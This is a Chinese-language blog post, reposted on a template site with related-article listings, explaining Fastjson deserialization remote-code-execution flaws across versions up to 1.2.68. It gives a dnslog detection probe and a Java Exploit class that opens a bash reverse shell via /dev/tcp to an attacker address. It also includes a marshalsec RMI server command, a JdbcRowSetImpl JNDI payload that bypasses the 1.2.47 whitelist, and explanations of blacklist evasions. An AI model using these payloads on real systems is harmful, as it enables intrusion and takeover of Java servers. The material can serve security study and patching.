Fastjson漏洞

这篇具有很好参考价值的文章主要介绍了Fastjson漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Fastjson 概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。

漏洞版本

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Java序列化小知识

序列化时,会调用成员变量的get方法,私有成员变量不会被序列化。
反序列化时,会调用成员变量的set方法,public修饰的成员全部自动赋值。

Fastjson反序列化方法

第一种,指定返回类型的对象
User user = JSON.parseObject(serializedStr, User.class);
第二种,返回JsonObject对象
Object obj = JSON.parse(serializedStr);
但如何让程序自动获得序列化对象的类型呢?第一种需要自己指定,第二种则返回Obj类型,Fastjson则提供一个自省@type 自动转换类型。
Fastjson漏洞
这就存在漏洞,可以通过自省,可构造指定要序列化的类。
Fastjson漏洞

Fastjson 反序列化漏洞

1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

Fastjson查找

fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
Fastjson漏洞

  1. 找到发送json序列化数据的接口
  2. 判断是否使用fastjson
    1)输入非法格式,查看报错信息,例如{“x”:"
    2)使用dnslog探测
  3. Burp插件 github搜 fastjson

Fastjson漏洞发现(利用 dnslog)

{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}

Fastjson的利用(编译)

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;&
/dev/tcp/ip/port 0&gt;&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

Fastjson的利用

使用marshalsec开启监听
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://ip/#Exploit” port
执行攻击payload:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/Exploit","autoCommit":true}}

Fastjson的升级和利用

从1.2.25起,fastjson默认关闭了autotype,引入了checkAutoCheck。
1.2.25–1.2.41之前,在checkAutotype的代码中,会先进行黑白名单过滤,如果反序列化的类不再黑名单中,才会进行反序列化。
但fastjson加载类时,有一段特殊处理,会去掉className的前面的L和;(分号)。比如过滤com.sun.rowset.JdbcRowSetImpl,但Lcom.sun.rowset.JdbcRowSetImpl;不在黑名单中,而fastjson又会去掉前面的L和; , 将类还原回com.sun.rowset.JdbcRowSetImpl,最后fastjson将全面的所有L和;全部去掉后,再过滤。该类绕过方式就G了。

1.2.47版本。autoType不开启反而会被攻击。因为fastjson有个全局缓存机制。在类加载时,如果autotype关闭,回尝试从缓存中获取类,如果缓存中有,则直接返回。所以如果能让缓存中存在com.sun.rowset.JdbcRowSetImpl,则又可利用了。 问题是如何让缓存中有com.sun.rowset.JdbcRowSetImpl
java.lang.Class类给出了新的利用手法,java.lang.Class类是一定存在的,并且该类反序列化时会取json串中的val值,并加载这个类。因此将com.sun.rowset.JdbcRowSetImpl 放在java.lang.Class的val位置,com.sun.rowset.JdbcRowSetImpl就能被加载到缓存中。该方法利用前提:fastjson cache 为true
Fastjson漏洞
v1.2.68利用异常进行攻击
Fastjson漏洞文章来源地址https://www.toymoban.com/news/detail-504977.html

到了这里,关于Fastjson漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 阿里巴巴开源的Spring Cloud Alibaba手册在GitHub上火了

    “微服务架构经验你有吗?” 前段时间一个朋友去面试,阿里面试官一句话问倒了他。实际上,不在BAT这样的大厂工作,是很难接触到支撑千亿级流量微服务架构项目的。 但也正是这种难得,让各个大厂都抢着要这样的人才! 下面这十道题是他当时阿里三面时被问到的,基

    2024年02月09日
    浏览(42)
  • 阿里巴巴内部Spring Cloud Alibaba 全彩 PDF 版手册限时开源

    众所周知,Spring Cloud Alibaba 是致力于提供微服务开发的一站式解决方案。但是很多的同学还是不是很了解,或者说知识略懂一些浅显的知识,从没有深入地学习过。 今天我们就来系统地学习一下 Spring Cloud Alibaba 第三版的内容,第三版提供的内容是 :微服务环境搭建以及基本

    2024年02月08日
    浏览(48)
  • 阿里巴巴虚拟试衣间:在模特身上尝试任何服装 | 开源日报 No.122

    Stars: 1.8k License: NOASSERTION Outfit Anyone 由阿里巴巴集团的智能计算研究院开发。它提供了超高质量的虚拟试衣功能,用户可以在模特身上尝试任何服装,并且保证安全和隐私。主要功能包括: 提供超高质量的虚拟试衣体验 限制上传个人照片以确保安全与隐私 鼓励用户分享有趣

    2024年02月03日
    浏览(51)
  • 阿里巴巴官方上线!号称国内Java八股文天花板,首次开源!

    继续找工作,现在的很多程序员还在谈技术,谈这个就没劲了其实,因为现在的失业是结构性失业。 比如说你到40岁了,你还有大厂履历,那你毕业了以后,找工作的难度肯定会加大。一方面是新工作的待遇和薪资往往不及预期,另一方面就是竞争激烈。 而我认识的两个猎头

    2024年02月07日
    浏览(44)
  • 阿里巴巴开源的免费数据库工具Chat2DB

    Chat2DB 是一款由阿里巴巴开源的免费数据库工具,它为开发人员提供了一个强大且易于使用的平台,用于存储和查询数据。与传统的数据库工具相比,Chat2DB 具有以下特点和优势: 多数据库支持 :Chat2DB 可以与多种类型的数据库进行集成,包括关系型数据库(如MySQL、PostgreS

    2024年02月11日
    浏览(47)
  • 阿里巴巴开源Chat2DB v1.0.11 初体验

    作为一名阿里巴巴开源项目的拥护者,从Chat2DB开源至今都有关注这个开源项目,因为之前的版本还存在较多BUG,暂时就没有分享,目前升级到 v1.0.11 版本后,我来谈谈我个人的一个使用感受 Chat2DB 是一款有开源免费的多数据库客户端工具,支持windows、mac本地安装,也支持服

    2024年02月09日
    浏览(47)
  • Chat2DB:阿里巴巴开源的聊天数据管理工具--实践

    Chat2DB:阿里巴巴开源的聊天数据管理工具–实践 简介 ​ Chat2DB 是一款有开源免费的多数据库客户端工具,支持windows、mac本地安装,也支持服务器端部署,web网页访问。和传统的数据库客户端软件Navicat、DBeaver 相比Chat2DB集成了AIGC的能力,能够将自然语言转换为SQL,也可以将

    2024年02月09日
    浏览(42)
  • 推荐下阿里巴巴开源的数据库客户端工具Chat2DB

    github地址:https://github.com/alibaba/Chat2DB Chat2DB 是面向开发人员的免费多平台数据库工具。多种数据库一个工具。它用于查询、创建和管理数据库,数据库可以在本地、服务器或云端。支持 MySQL、PostgreSQL、Microsoft SQL Server、Oracle、H2等,未来我们会不断完善其他非关系型数据的支

    2024年02月11日
    浏览(66)
  • 阿里巴巴最新SpringCloud Alibaba全彩版笔记开源,架构师带你手撸微服务结构项目实战

    Spring Cloud Alibaba 致力于提供微服务开发的一站式解决方案。此项目包含开发分布式应用微服务的必需组件,依托Spring Cloud Alibaba,只需要添加一些注解和少量配置,就可以将Spring Cloud 应用接入阿里微服务解决方案,通过阿里中间件来迅速搭建分布式应用系统。 下面这些都是

    2024年02月04日
    浏览(46)
  • 阿里巴巴集团

    阿里巴巴集团控股有限公司 (简称:阿里巴巴集团) 是马云带领下的18位创始人于1999年在浙江省杭州市创立的公司。 [272]  阿里巴巴集团经营多项业务,另外也从关联公司的业务和服务中取得经营商业生态系统上的支援。业务和关联公司的业务包括:淘宝网、天猫、聚划算

    2024年02月03日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包